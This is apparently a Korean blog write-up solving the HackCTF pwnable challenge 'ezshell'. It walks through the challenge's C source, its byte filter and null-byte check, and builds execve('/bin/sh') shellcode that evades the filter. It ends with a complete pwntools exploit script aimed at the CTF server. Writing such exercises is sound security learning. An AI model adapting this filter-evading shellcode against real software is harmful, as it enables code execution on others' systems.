tmxklab

[HackCTF/Pwnable] ezshell 본문

War Game/HackCTF

[HackCTF/Pwnable] ezshell

tmxk4221 2020. 6. 11. 19:51

저번에 쉘 코드 작성 실습을 진행했으므로 이번에는 쉘 코드 관련 문제를 풀어보기로 하였다.

 

1. 문제 

nc ctf.j0n9hyun.xyz 3036

1) mitigation

 

2) 문제 확인

[ezshell.c]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void Init(void)
{
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
        setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
        Init();

        char result[100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB\x48\x31\xC9\x48\x31\xD2\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D\x31\xF6\x4D\x31\xFF";
        char shellcode[30];
        char filter[4] = {'\xb0', '\x3b', '\x0f', '\x05'};

        read(0, shellcode, 30);


        for (int i = 0; i <= 3; i ++)
        {
                if (strchr(shellcode, filter[i]))
                {
                        puts("filtering :)");
                        exit(1);
                }
        }

        for (int i = 0; i < 30; i++)
        {
                if (!shellcode[i])
                {
                        puts("null :)");
                        exit(1);
                }
        }

        strcat(result, shellcode);
        (*(void (*)()) result + 2)();
}

 

3) 코드흐름 파악

3-1) result값 확인

[rbp-0x70]위치에 result변수가 존재하며 헥사 값 초기화

 

syscall인스트럭션이 존재하며 rip를 제외한 모든 레지스터 0으로 초기화

 

filter변수[rbp-0xA0]에 헥사 값 ("\xb0", "\x3b", "\x0f", "\x05")존재

 

3-2) 두 개의 for문(필터링)

첫 번째 for문)

for (int i = 0; i < 30; i++){
    if (!shellcode[i]){
        puts("null :)");
        exit(1);
    }
}

- filter배열에 저장된 값[ ["\xb0", "\x3b", "\x0f", "\x05"]이 shellcode변수에 존재하면 종료

→ \x05, \x0f는 syscall을 의미하는 듯

→ \xb0, \x3b는 sys_execve에 사용되는 rax에 0x3b(59)를 저장하기 위해 mov al, 3b을 의미하는 듯

 

두 번째 for문)

for (int i = 0; i < 30; i++){
    if (!shellcode[i]){
        puts("null :)");
        exit(1);
    }
}

shellcode배열에 30bytes모두 검사하여 null값이 존재하면 종료

 

3-3) strcat실행 및 result쉘 코드 실행

strcat(result, shellcode);
(*(void (*)()) result + 2)();

result에 read함수로 입력 값을 저장한 shellcode를 이어 붙이며 result[0x72]위치부터 쉘 코드 실행

 

즉, syscall인스트럭션은 실행되지 않으며 rip를 제외한 나머지 레지스터를 초기화시킨다.

 


2. 접근방법 

0) result의 쉘 코드 확인

먼저, 쉘 코드를 작성할 수 있도록 shellcode변수를 주어줬지만 syscall인스트럭션을 제외한 나머지 레지스터를 0으로 초기화시키는 어셈 코드가 존재한다.

 

실행 전)

 

실행 후)

 

1) 쉘 코드 테스트

syscall쉘코드는 존재하며 쉘을 따기 위해서 syscall테이블에 있는 sys_execve함수를 사용한다.

 

Systemcall Table 참고)

 

[Assembly] syscall table for x86_64

리눅스 64비트에서 어셈블리로 프로그래밍을 할때 각함수의 이름과 레지스터 사용법이다. syscall로 실행해야 한다. %rax System call %rdi %rsi %rdx %rcx %r8 %r9 0 sys_read unsigned int fd char *buf size_t..

cccding.tistory.com

 

< systemcall Table >

[sys_execve] : 59[rax], filename[rdi], argv[rsi], envp[rdx]

 

[참고사항]

→ filename에는 "/bin/sh"이 들어가야 하며 문자열이 아닌 문자열을 저장한 주소 값이 존재해야 한다.

 rax값과 rdi의 값을 제외한 나머지 레지스터는 건드리지 않아도 된다.

 

[execve.asm]

global _start

section .text

_start:
        jmp short shellcode

shellcode:
        xor rax, rax
        mov al, 59
        mov rbx, 0x68732f6e69622f ; "/bin/sh"문자열
        push rbx
        push rsp
        pop rdi
        xor rbx, rbx
        xor rsi, rsi
        xor rdx, rdx
        syscall

$nasm -f elf64 execve.asm // 오브젝트 파일 생성

$ld execve.o -o execve        // 오브젝트 파일을 링커를 통해 실행파일로 생성

 

[실행결과]

성공적으로 쉘을 따내어 정상적으로 실행되는 것을 확인할 수 있다.

 

이제 위 어셈 코드를 참고하여 쉘 코드를 작성하기로 한다.

(참고로 xor연산을 통해 초기화 시키는 작업은 이미 result변수의 어셈 코드에 존재하므로 불필요한 어셈 코드는 제거)

 

2) 문제점1 - rsp

위 어셈 코드에서는 스택에서 push, pop을 이용하여 rdi값을 저장하였지만 ezshell의 result변수의 어셈 코드를 실행하면 rsp가 초기화되어 있기 때문에 스택을 건드릴 수가 없다.

 

따라서, 위 어셈 코드를 진행하기 전에 rsp를 스택에 가리키도록 해야 한다.

방법은 다음과 같이 2가지가 존재한다.(그냥 제 생각으론...)

 

    1. RIP값이 스택의 주소 값을 가리키므로 rip레지스터를 이용한다.

    2. fs레지스터를 통해 가져온다.                                                              

 

fs레지스터를 통해 가져오는 것이 쉘 코드가 짧아지므로 fs레지스터를 통해 가져오기로 한다.

mov rsp, QWORD PTR BYTE fs:[0x0]

(0x0을 그대로 대입하면 또 널 값이 발생하므로 0x0으로 세팅되어 있는 아무 레지스터 값을 넣으면 됨 ex) → fs:[rdx])

 

3) 문제점2 - 널 바이트 제거

이제 위 어셈 코드를 pwntools의 asm모듈을 통해 변환해보자

맨위 빨간색 박스를 보면 널 값과 filtering에 존재하는 "\xb0", "\x3b"가 존재한다.

 

3-1) mov al, 59 어셈 코드 변환

mov al, 59어셈 코드를 대응시켜보면 다음과 같다.

 "\xb0" → mov al

 "\x3b" → 59

 

따라서, 필터링에 걸리지 않게 다음과 같이 변환해준다.

→ mov cl, 58

→ mov al, cl

→ inc rax

 

3-2) mov rbx, "/bin/sh"어셈 코드 변환

한 바이트 널 값이 들어가는 바람에 필터링에 걸리게 된다.

그래서 널 값이 존재하지 않도록 다양한 방법을 생각하느라 시간이 오래걸렸는데..

 

문자열에 한 바이트 추가하는 방법을 생각하였다.

한 바이트 추가할 때 방법은 3가지가 존재하였다.

   1. "/bin*/sh"

   2. "/bin//sh"

   3. "//bin/sh"

 

[테스트]

따라서, 3가지 방법 중 한 가지를 이용하기로 한다.

 

4) 문제점3 - syscall

위의 모든 작업은 syscall 어셈 코드가 존재해야 쉘을 딸 수 있다.

하지만, syscall 어셈 코드는 필터링에 걸리므로 result변수의 처음 생략된 syscall어셈 코드가 존재하는 곳으로 분기하도록 한다.

 

참고 사이트)

 

64비트 리버싱

- 64비트 CPU -> IA-64 : Intel과 HP에서 제작한 64비트 CPU(간접적인 x86하위호환) -> x64 : AMD64와 Intel64 통합하여 말함 - 64비트 OS -> 32비트 MS Windows : ILP32 데이터 모델 (Int,Long,Pointer 32비트) -..

turtleneck.tistory.com

 

jmp : [ x ] → 여기서 operand는 현 위치 기준 상대주소

따라서, result변수의 syscall 인스트럭션이 저장된 스택 주소 값으로 이동하기 위해 계산해야 함

 

[ x ] = [ syscall(스택) ] - [ RIP ] - 5 

→ rip : 0x7fffffffdeaa

 syscall : 0x7fffffffde60

0x7fffffffde60 - 0x7fffffffdeaa - 5 = 0xffffffffffffffb1

 

하지만, 위의 값을 대입하면 안됨

0x7fffffffde60으로 가야하는데 rip값이 0x7fffffffde5a임

60과 5a의 차이가 6이므로 위의 값에 6을 더해주자

 

0x7fffffffde60 - 0x7fffffffdeaa - 5 + 6 = 0xffffffffffffffb7


3. 풀이 

1) 어셈 코드 확인

- 다행히 필터링에 걸리거나 널 값이 존재하진 않다.

- 총 29바이트이므로 나머지 1byte는 NOP을 뜻하는 \x90으로 채우기로 한다.

 

2) 익스 코드

from pwn import *

context(log_level="DEBUG", arch="amd64", os="linux")

#p=process("./ez", aslr=False)
p= remote("ctf.j0n9hyun.xyz", 3036)

#gdb.attach(p, """b*0x555555554b92""")

payload = asm("mov rsp, QWORD PTR fs:[rdx]")
payload += asm("movabs rbx, 0x68732f6e69622f2f")
payload += asm("push rbx")
payload += asm("push rsp")
payload += asm("pop rdi")
payload += asm("mov cl, 58")
payload += asm("mov al, cl")
payload += asm("inc rax")
payload += asm("jmp 0xffffffffffffffb7", vma=0x1)
payload += "\x90"*(30-len(payload))

p.send(payload)

p.interactive()

 

3) 실행결과


4. 몰랐던 개념

1) /bin/sh 문자열

진짜 "/bin/sh"문자열을 어떻게 널 값이 안들어가게 넣는지 삽질을 엄청 많이했는데 "/"여러 개랑 "/"한 개가 같다는 것을 처음 알았다....

첨에는 "/bin*/sh"을 사용할 때 로컬에서는 잘 되는데 서버에서는 안되서 위에 저 방법을 찾는데 시간이 엄청 걸렸던 것 같다.

 

2) jump call

그리고 jump call 할 때 주소 값 계산할 때 절대 주소가 아니라 상대 주소를 통해 하는 것을 예전에 뭐였드라 그거 풀 때 알았는데 까먹어서 다시 찾아봤다.ㅋㄷ

 

3) mov rsp, QWORD PTR byte[fs:0x0]

마지막으로 mov rsp, QWORD PTR byte[fs:0x0]은 솔직히 지금도 이해가 안간다.

rsp에 저장되는 값은 스택 주소 값이 아닌데..

그래서 rip가 스택 주소 값을 가리키니깐 lea rsp, [rip]를 통해서 스택 주소 값을 가져왔는데 다시 rsp의 값을 원래대로 돌리기 위해서 어셈 코드 한 줄이 더필요해서 30bytes가 넘어가서 위에 방법을 사용했따.

 

참고 될만한 주소)

 

How are the fs/gs registers used in Linux AMD64?

On the x86-64 architecture, two registers have a special purpose: FS and GS. In linux 2.6.*, the FS register seem to be used to store thread-local information. Is that correct? What is stored at f...

stackoverflow.com

 

세그먼테이션(Segmentation) 정리

#----------------------------------- Segmentation -----------------------------------# Segmentation은 메모리에 영역을 분할하고 할당하는 작업이다. PE나 ELF 구조 파일의 경우 섹션을 나눌 경우 페이징에..

tribal1012.tistory.com

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Pwning  (2) 2020.06.23
[HackCTF/Pwnable] pzshell  (0) 2020.06.11
[HackCTF/Pwnable] Gift  (0) 2020.05.18
[HackCTF/Pwnable] Look at me  (0) 2020.03.07
[HackCTF/Pwnable] Beginner_Heap  (0) 2020.03.07
Comments